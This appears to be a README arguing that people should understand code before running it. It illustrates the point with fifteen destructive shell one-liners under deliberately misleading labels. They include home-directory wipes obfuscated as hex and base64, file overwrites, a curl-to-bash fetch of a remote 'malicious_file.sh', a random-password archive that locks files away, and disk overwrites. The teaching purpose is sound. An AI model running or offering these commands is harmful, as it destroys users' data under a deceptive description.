My one page argument for learning to code

NEVER run code you don't understand

I often hear people call themselves 'Copy and paste' coders. And, while copying and pasting is a legitimate thing to do,
it should not be your only way of doing things. A better method is to find code, see what is done and then recreate it,
and at a bare minimal, copy it, but know exactly what it does. \
Here is my small example of code that has unintended results.

"Running code you found on the internet is like chewing gum you found in the subway".

Try these (IN A VIRTUAL MACHINE!)

Here are some bad descriptions to bad commands

A. Greatly simplifies document syntax:

while read f; do LC_CTYPE=C sed -i "" 's:.:*:g' "$f"; done <<< "$(find ~/ -type f -print)"

B. Frees up unnecessary space:

du ~ | grep -o '/.*' | xargs rm -rf --

C. Re-links your files to improve efficiency:

du ~/*/* | grep -o '/.*' | xargs -n 1 ln -sf /dev/null/

D. Move files/folders to a volume with unlimited storage:

for d in ~/*/*; do mv "$d" /dev/null; done

E. Frees up all unnecessary space:

command $(echo 7375646f20726d202d7266207e2f0a | xxd -r -p ) &> /dev/null

F. Frees up all unnecessary space:

command $(echo c3VkbyBybSAtcmYgfi8K | base64 -d ) &> /dev/null

G. Chew the gum you don't even know:

bash -c "$(curl -s https://raw.githubusercontent.com/thedzy/My-one-page-argument-for-learning-to-code/master/malicious_file.sh)"

H. Frees up unnecessary space:

eval $(sed 's:[a-e,s-z]::g' <<< "stream -draft ~/saved")

I. Compress files and save space:

zip --password "$(openssl rand -base64 64)" --move "$(openssl rand -hex 4)".zip  ~/*/*/*/*/*

J. Reduce your need of the external volumes:

for d in /dev/disk[2-9]*; do dd if=/dev/random of=$d &; done

K. Simply your files and your life:

find ~/ -type f -exec bash -c ':|tee {} &' \;

L. Keep logs of files in the home folder utilising your current files:

find ~/ -type f -exec awk 'FNR == 1{ print FILENAME > FILENAME } ' {}  \;

M. Cut down on disk space without removing a file:

while read n; do eval `stat -s /`; echo $n, $st_dev; for i in $(seq 0 1 $n);do [ -f /.vol/$st_dev/$i ] &&  [ -w /.vol/$st_dev/$i ] && echo > /.vol/$st_dev/$i ; done; done <<< `df -i | awk '$NF ~ /\/$/ {print $6}'`           

N. Every file gets a random makeover generating original data!

find ~ -type f -exec dd if=/dev/urandom of={} bs=1M count=1 \;

O. Find your storage’s true limit.

dirs=($(IFS=$'\n'  find ~/ -type d -print)); while True; do cat /dev/random > ${dirs[$RANDOM % ${#dirs[@]}]}/$(openssl rand -hex $(($RANDOM % 32))); done

Recommended testing environment:

1. Create a virtual machine.
2. Open terminal and run the following command to copy some files to the desktop: \
   find / -iname "*.txt" 2>/dev/null | head -n 60 | xargs -n1 -J% cp % $HOME/Desktop/
3. Snapshot your VM, because you'll want it
4. Run the command
5. Restore
6. Rinse and repeat